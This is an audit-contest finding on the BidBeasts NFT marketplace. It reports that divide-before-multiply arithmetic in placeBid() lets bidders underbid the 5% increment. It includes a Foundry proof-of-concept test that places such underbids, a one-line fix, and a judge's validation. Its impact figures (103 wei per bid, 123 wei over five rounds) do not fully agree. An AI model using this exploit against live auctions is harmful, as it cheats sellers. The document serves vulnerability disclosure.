Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Precision Loss in requiredAmount Calculation Enables Auction Manipulation Through Underbidding

Root + Impact

Description

  • The placeBid() function is designed to enforce fair auction bidding by requiring each new bid to exceed the previous bid by a minimum percentage increment defined as S_MIN_BID_INCREMENT_PERCENTAGE (5%). When a previous bid exists, the function calculates the minimum required bid amount to ensure meaningful bid increases and prevent spam bidding. This calculation is intended to compute: previousBidAmount * 1.05 (a 5% increase), which should be implemented as (previousBidAmount * 105) / 100 to maintain precision.

  • The placeBid() function contains a mathematical precision vulnerability in the bid increment calculation at line 152-153. The function calculates requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE), which performs division before multiplication. This violates Solidity best practices and causes precision loss due to integer truncation. When previousBidAmount is not perfectly divisible by 100, the division truncates the remainder, resulting in a lower requiredAmount than intended. This allows attackers to place bids that are lower than the intended 5% increment, systematically underbidding throughout an auction and winning NFTs for less than fair market value.

function placeBid(uint256 tokenId) external payable {
// ... validation logic ...
Bid storage bid = bids[tokenId];
address previousBidder = bid.bidder;
uint256 previousBidAmount = bid.amount;
if (previousBidAmount > 0) {
require(msg.sender != previousBidder, "Already highest bidder");
// VULNERABILITY: Division before multiplication causes precision loss
uint256 requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);
require(msg.value >= requiredAmount, "Bid not high enough");
}
// ... rest of function ...
}

Risk

Likelihood:

  • The vulnerability is triggered on every single bid placement where a previous bid exists, making exploitation extremely frequent and unavoidable. Any bidder can exploit this vulnerability without special permissions or complex setup by simply placing bids with amounts designed to maximize truncation. Attackers can use tools to calculate optimal bid amounts that exploit the maximum precision loss, and the vulnerability compounds over multiple bidding rounds.

  • The mathematical error is deterministic and always produces the same underbid opportunity for any given previous bid amount. Since NFT auctions typically involve multiple sequential bids, an attacker can exploit this repeatedly throughout an auction's lifecycle. The vulnerability affects all active auctions simultaneously, creating widespread impact.

Impact:

  • The precision loss enables several forms of auction manipulation:

    1. Systematic Underbidding: Attackers can win auctions by bidding less than the intended 5% increment, reducing competition and acquisition costs

    2. Seller Revenue Loss: Cumulative precision loss over multiple bids reduces the final sale price, disadvantaging sellers

    3. Unfair Competitive Advantage: Sophisticated attackers who understand the vulnerability gain an edge over honest bidders

    4. Trust Erosion: Users discovering they could have won auctions with lower bids lose confidence in the platform


Proof of Concept

The PoC demonstrates concrete impact:

  • On a bid of 1 ether + 99 wei, attackers save 103 wei per bid

  • Over 5 bidding rounds, cumulative loss reaches 123 wei

  • With larger bid amounts and more rounds, the impact scales proportionally

While individual losses are small (typically under 200 wei per bid), the cumulative effect across thousands of auctions and multiple bidding rounds creates significant value extraction from the protocol and its users.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract DivideBeforeMultiplyPoC is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
address public constant OWNER = address(0x1);
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4);
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.stopPrank();
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
// Mint and list NFT
vm.prank(OWNER);
nft.mint(SELLER);
vm.prank(SELLER);
nft.approve(address(market), TOKEN_ID);
vm.prank(SELLER);
market.listNFT(TOKEN_ID, MIN_PRICE, 10 ether);
}
function test_precisionLossInBidCalculation() public {
console.log("=== DEMONSTRATING PRECISION LOSS IN BID CALCULATION ===");
console.log("S_MIN_BID_INCREMENT_PERCENTAGE: 5%");
console.log("");
// Test Case 1: Small bid amount that loses precision
console.log("=== TEST CASE 1: Small Bid (99 wei) ===");
uint256 smallBid = 99 wei;
// Current vulnerable calculation: (previousBidAmount / 100) * (100 + 5)
uint256 vulnerableCalc = (smallBid / 100) * 105;
// Correct calculation: (previousBidAmount * 105) / 100
uint256 correctCalc = (smallBid * 105) / 100;
console.log("Previous bid:", smallBid);
console.log("Vulnerable calculation result:", vulnerableCalc);
console.log("Correct calculation result:", correctCalc);
console.log("Lost wei due to truncation:", correctCalc - vulnerableCalc);
console.log("");
// Test Case 2: Demonstrate with realistic bid amounts
console.log("=== TEST CASE 2: Realistic Bid (1.99 ether) ===");
uint256 realisticBid = 1.99 ether;
vulnerableCalc = (realisticBid / 100) * 105;
correctCalc = (realisticBid * 105) / 100;
console.log("Previous bid:", realisticBid);
console.log("Vulnerable calculation result:", vulnerableCalc);
console.log("Correct calculation result:", correctCalc);
console.log("Lost wei due to truncation:", correctCalc - vulnerableCalc);
console.log("");
// Test Case 3: Demonstrate actual exploit in contract
console.log("=== TEST CASE 3: ACTUAL EXPLOIT IN CONTRACT ===");
// BIDDER_1 places initial bid of 99 wei (very small to maximize truncation)
vm.prank(BIDDER_1);
market.placeBid{value: 1 ether + 99 wei}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory bid1 = market.getHighestBid(TOKEN_ID);
console.log("BIDDER_1 initial bid:", bid1.amount);
// Calculate what the next bid SHOULD be (correct math)
uint256 shouldRequire = (bid1.amount * 105) / 100;
console.log("Next bid SHOULD require (correct math):", shouldRequire);
// Calculate what the contract ACTUALLY requires (vulnerable math)
uint256 actuallyRequires = (bid1.amount / 100) * 105;
console.log("Next bid ACTUALLY requires (vulnerable math):", actuallyRequires);
// The difference allows underbidding
uint256 savings = shouldRequire - actuallyRequires;
console.log("Attacker can underbid by:", savings, "wei");
console.log("");
// BIDDER_2 exploits by bidding less than they should
uint256 exploitBid = actuallyRequires; // Minimum accepted by vulnerable contract
console.log("BIDDER_2 places exploit bid:", exploitBid);
console.log("This is", savings, "wei LESS than required with correct math");
vm.prank(BIDDER_2);
market.placeBid{value: exploitBid}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory bid2 = market.getHighestBid(TOKEN_ID);
console.log("BIDDER_2 successful bid:", bid2.amount);
console.log("BIDDER_2 is now highest bidder:", bid2.bidder == BIDDER_2);
assertTrue(bid2.bidder == BIDDER_2, "Exploit successful - underbid accepted");
assertLt(bid2.amount, shouldRequire, "Bid is less than it should be");
console.log("");
console.log("=== VULNERABILITY CONFIRMED ===");
console.log("Issue: Division before multiplication causes precision loss");
console.log("Location: Line 152 - requiredAmount = (previousBidAmount / 100) * 105");
console.log("Impact: Attackers can win auctions with lower bids than intended");
console.log("Severity: MEDIUM - Unfair auction manipulation");
}
function test_cumulativeEffect() public {
console.log("=== DEMONSTRATING CUMULATIVE EFFECT OVER MULTIPLE BIDS ===");
// Start with a bid that will cause truncation
uint256 initialBid = 1 ether + 199 wei;
vm.prank(BIDDER_1);
market.placeBid{value: initialBid}(TOKEN_ID);
console.log("Initial bid:", initialBid);
uint256 totalLoss = 0;
address currentBidder = BIDDER_1;
address nextBidder = BIDDER_2;
// Simulate 5 rounds of bidding
for (uint i = 0; i < 5; i++) {
BidBeastsNFTMarket.Bid memory currentBid = market.getHighestBid(TOKEN_ID);
uint256 correctRequired = (currentBid.amount * 105) / 100;
uint256 vulnerableRequired = (currentBid.amount / 100) * 105;
uint256 loss = correctRequired - vulnerableRequired;
totalLoss += loss;
console.log("");
console.log("Round", i + 1);
console.log("Current bid:", currentBid.amount);
console.log("Loss this round:", loss, "wei");
console.log("Cumulative loss:", totalLoss, "wei");
// Place next bid at vulnerable amount
vm.prank(nextBidder);
market.placeBid{value: vulnerableRequired}(TOKEN_ID);
// Swap bidders
address temp = currentBidder;
currentBidder = nextBidder;
nextBidder = temp;
}
console.log("");
console.log("=== CUMULATIVE IMPACT ===");
console.log("Total wei lost over 5 bids:", totalLoss);
console.log("This loss accumulates with each bid, disadvantaging sellers");
console.log("In high-value auctions, this could be significant");
}
}

Recommended Mitigation

Reorder the arithmetic operation to multiply before dividing, preventing precision loss:

function placeBid(uint256 tokenId) external payable {
// ... validation logic ...
if (previousBidAmount > 0) {
require(msg.sender != previousBidder, "Already highest bidder");
- uint256 requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);
+ uint256 requiredAmount = (previousBidAmount * (100 + S_MIN_BID_INCREMENT_PERCENTAGE)) / 100;
require(msg.value >= requiredAmount, "Bid not high enough");
}
// ... rest of function ...
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts Marketplace: Integer Division Precision Loss

Integer division in requiredAmount truncates fractions, allowing bids slightly lower than intended.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.